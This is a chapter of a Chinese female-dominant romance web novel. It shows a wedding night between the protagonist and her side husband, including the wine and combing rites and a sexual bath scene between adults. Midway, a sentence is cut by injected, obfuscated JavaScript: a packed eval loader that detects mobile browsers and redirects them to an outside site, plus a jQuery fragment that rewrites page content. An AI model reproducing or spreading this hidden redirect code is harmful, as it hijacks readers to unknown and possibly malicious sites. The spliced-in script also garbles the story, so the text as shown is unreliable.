21. 第二十一章

作品:《两个夫郎又如何?(女尊)

    齐言怔愣半秒,才明白过来他是何意。


    之前阮知湫私入齐府,晚间不明不白地生出热症,为此她又请太医又是安抚,直捱到半夜才勉强睡下。


    但那回是真的,这次却是假的,阮知湫故技重施将她请来,并当面承认是想让她来看望自己。


    她知晓他的心思。


    但没法应允。


    齐言见阮知湫无恙,心里石头顿时落地,她自不会因这事怪罪,上前安抚道:“不生气,但下次万不能再如此。”


    先不说这算虚报,就说报来的是病情,一面会使齐言提心吊胆,一面说不定真会在他身上应验。


    阮知湫很是听话地点头,齐言想起他的脚踝,又问:“伤可好些了?”


    对方又点点头,“已不痛了,妻主无需担心。


    他覆上齐言的手,试探道:“妻主既已到此,就陪我吧。”


    齐言还未告知他要去东院的事,可一时又说不出口,她想了想,觉得先陪陪阮知湫也无碍,等待会儿再过去崔显那边。


    西院上上下下格外殷勤,其中大多都是阮府的陪嫁小侍,她让冯吉在外候着,便随阮知湫进到屋内。


    齐言在桌案前坐定,立刻就有双手奉上茶盏,她饮了一口,随手递出时却是阮知湫接下。


    对方身上仍散着浓郁的茉莉香,几乎将齐言整个浸在其中。


    “茶能醒酒,明早就不会头疼,”阮知湫嗓音轻缓,又让小侍捧来几样精致吃食,“宴上不能用膳,想必妻主腹中饥饿。”


    他体贴而周到,执起筷子亲自布菜,齐言本还没那么饿,可在他的相伴下竟也用了大半。


    食毕,阮知湫贴心地奉上茶水,齐言借此漱了口,再在盆中洗净手,待要起身时,对方又先一步有了动作。


    阮知湫端过两杯清酒,“妻主……”


    齐言停住,意识到该行交杯礼了。


    新婚夜,新人间需同饮交杯酒,再由夫郎替妻主梳头,也称之为梳礼。按例她此时应在正君房中,与崔显面对面相坐,可身为侧君的阮知湫目光凝凝,一双美眸柔情似水,叫她怎么也说不出推却的话。


    她轻“嗯”一声,“过来吧。”


    对方得到应允,屏退一众小侍后,这才缓步到齐言跟前。


    夜幕深沉,房中燃着成连排的喜烛,阮知湫在光照下坐到齐言身旁,细声提醒道:“酒味苦,妻主当心些。”


    交杯酒,也称合卺酒,特在酿造过程中添加了龙胆草的根,草根苦味强烈,意在表明“同甘共苦”四个字。


    新人洞房,甘有了,苦自然也得尝尝。


    齐言没什么所谓,倒是怕他不习惯,然而绕臂饮完时,阮知湫连眉头都未皱一下。


    寝房内独剩两人,齐言放下酒盏,想着是不是该说些温柔话,而这时对方抬起眼,眸底泛起粼粼波光。


    “妻主,”他喃喃道:“我好高兴。”


    说着稍敛下眸,睫毛在眼底投下一小片阴影,“我没想过自己真能嫁给妻主。”


    齐言见他话音里又现出些惆怅意味,不免安抚出声:“你这般温柔这般好,怎不能嫁给我?”


    阮知湫缓了下,“我原是高攀,所幸妻主不嫌弃。”


    他没再多说,只接上最开始的话头,“所以我很高兴妻主愿意接纳我。”


    “今日见到妻主时,我整颗心都牵在妻主身上,下轿时不小心崴伤脚,妻主也一路关心爱护。”


    “妻主是我见过最好的女子,嫁给你,是我几辈子修来的福分。”


    “哪怕是侧室,我也甘之若饴。”


    他说完情话,接着吐出个“但”字,齐言见他长睫微颤,像在压抑未出口的妄念。


    “但我太贪心了。”


    这话他白日里就说过,拜堂时他求齐言今晚来陪自己,后又派人报假消息将她截住,齐言知晓“贪心”的含义,暗叹一声后握过他的掌心,“何必多说?”


    “堂拜了,交杯酒喝了,还差一个梳礼,”她道:“上回你说成婚时要与我同行梳礼,礼还未成,倒谈起其它了。”


    齐言这时也不愿抛下对方,于是轻捏了捏他的手,“我差人将那把纹金梳送来,你替我散髻可好?”


    阮知湫自密睫下溜出一缕目光,低声应答:“好。”


    东西很快送来,齐言累了整日,坐到梳妆台前时悄悄打了个哈欠。烛火跳跃,满室生香,阮知湫动作轻柔,替她将满头金玉摘下。


    早时梳妆费了两个时辰,发髻盘得慢,拆得也慢,齐言撑起眼皮等待着,在对方执过纹金梳时才略微清醒。


    阮知湫抚上她的发丝,一梳到尾,再梳到尾,三梳时他放缓动作,等顺到尾后对上铜镜中她的眼,“行梳礼,不分离,妻主与我分不开了。”


    齐言自然说“好”,看了眼窗外,觉得时间差不多了。


    她并未打算多留,正君为首,更何况她还让东院那位等自己,正准备安抚几句就同这边道别,腰间却没来由地一松。


    齐言顿了顿,发现阮知湫解开了她的革带。


    阮知湫身上香,凑近时更香,他嗓音轻悄,贴住齐言后背道:“妻主该沐浴更衣了。”


    沐浴更衣?


    她可没要留宿……


    齐言想张口,可对方在她出声前率先行动。阮知湫卸下发上礼冠,瞬时青丝垂落在肩后,他又悄悄解松自身衣袍,锁住齐言视线道:“我陪妻主一起。”


    这、这能成吗?


    齐言觉得不妥,可又有些移不开眼,阮知湫生得白,在朱红婚服的衬托下更是绝色,如今他衣衫半敞,还拿指尖来勾自己的衣带。


    他力道小,轻拽着齐言往屏风后走,齐言莫名到了地方,转眼一看,发现水不知何时已经备好。


    她在一片氤氲热气中开口:“我怕是……”


    阮知湫堵回她的话:“妻主不愿和我共浴吗?”


    那、那倒也不是……


    齐言纠结至极,一边想着东院还在等她,一边又因眼前美色走不动道。她想不再去看,可对方却察出她的犹豫,默了默道:“妻主对我……失了兴趣吗?”


    那就更不是了!


    齐言忽然觉得来都来了,沐个浴也算不得大事,正准备接受邀约,对方却朝她踏进一步。


    阮知湫衣袍松垮,靠近时露出大片风光,齐言看得心慌乱跳,听见他悄声道:“上次妻主意识不清,未能好好尝得滋味。”


    他牵着齐言的手探入自身衣领,向下,再向下,随后细喘一声,“新婚夜,我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416276|183737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会尽力取悦。”


    他眸里盛满情欲,大着胆子凑过唇,将吻印在齐言脖颈处。


    “我知道妻主还念着他,”他吐息温热,“可只一次,就同我一次好吗?”


    一次、一次……


    嗯。


    那就一次。


    身体刚没入水面,对方就贴了上来,阮知湫姓阮,声线也软,他情难自抑地凑过来亲吻,气息不稳地低语:“妻主……”


    唇、喉、锁骨,明明湿漉漉的,齿间却溢满焦渴。


    无意识地唤,无意识地纠缠,齐言被他抱得紧,却舍不得推开。


    水声乱响,水花四溅,一番下来,竟过去半个时辰。


    齐言平息下起伏的胸口,看着面前美人,不由抚摸起对方脸颊,“喜欢妻主吗?”


    阮知湫微喘着气,“喜欢……”


    齐言见他粘人得很,又问:“觉得妻主好吗?”


    阮知湫仍在渴望,舔舐起她的指尖,“妻主是天底下最好的……”


    齐言突然生出撩拨心思,一面将手指探进去,一面揽过他的腰,“你总是嘴上说得好听。”


    她觉得阮知湫乖巧可怜,但却总在暗地里打小心思,两人已成妻夫,她便抛下平日里的正经,逗他道:“要不要证明给我看?”


    对方吐字困难,只挤出句含糊不清的话。


    齐言抽出手,听他颤着嗓子道:“妻主是知湫见过的最温柔最貌美的女子。”


    “所以天下最好,世间最好。”


    他贴紧齐言,刻意将语调放慢三拍,“知湫没有说谎,妻主想要怎么证明呢?”


    对方将问题抛回,目光直勾勾盯住她,不肯半毫偏移。


    齐言停了停,随后捏了下他的腰,“子嗣为大,你我多生几个孩子就算证明。”


    她摸上对方腹部,轻笑道:“该不会已有了?”


    两人先前就混乱过一次,后来阮知湫主动靠近,甘作侧室,她最开始时还有所顾虑,然而不知不觉中竟被勾得丢了神智。


    阮知湫丝毫不羞怯,“我自是要为妻主添嗣。”


    他覆上齐言的手,说话间将她往下带,“不只今夜,往后夜夜我都会努力。”


    水温似乎又往上升了些,齐言察到起头意向,连忙按住他的肩,“我还得去东院。”


    大喜日,就算不在正君处歇息,也得同人行梳礼。齐言与阮知湫走完全程,并往下再走了步,可崔显也一定还在等她,她好歹要去上一趟,才能不寒正室的心。


    阮知湫一下停住,他见齐言神色认真,咬着下唇道:“他就那般好吗?”


    齐言看他起了小性,只好安抚:“他是正君,我自然要尊他敬他。”


    而且他易伤神,她不能置之不理。


    后半句话齐言没敢说,怕阮知湫听了同她置气,好在对方不是胡搅蛮缠之人,缓了缓道:“妻主既要去,知湫也不会为难。”


    他虽应下,却仍靠在齐言肩头,随后仰起脸,用湿润唇瓣蹭起她的耳廓,“但能不能再一次?”


    “再一次妻主就去,好不好?”


    再一次……


    齐言喉头滚了滚,忽然觉得多耽搁会儿也算不得事。


    嗯。


    那就再一次。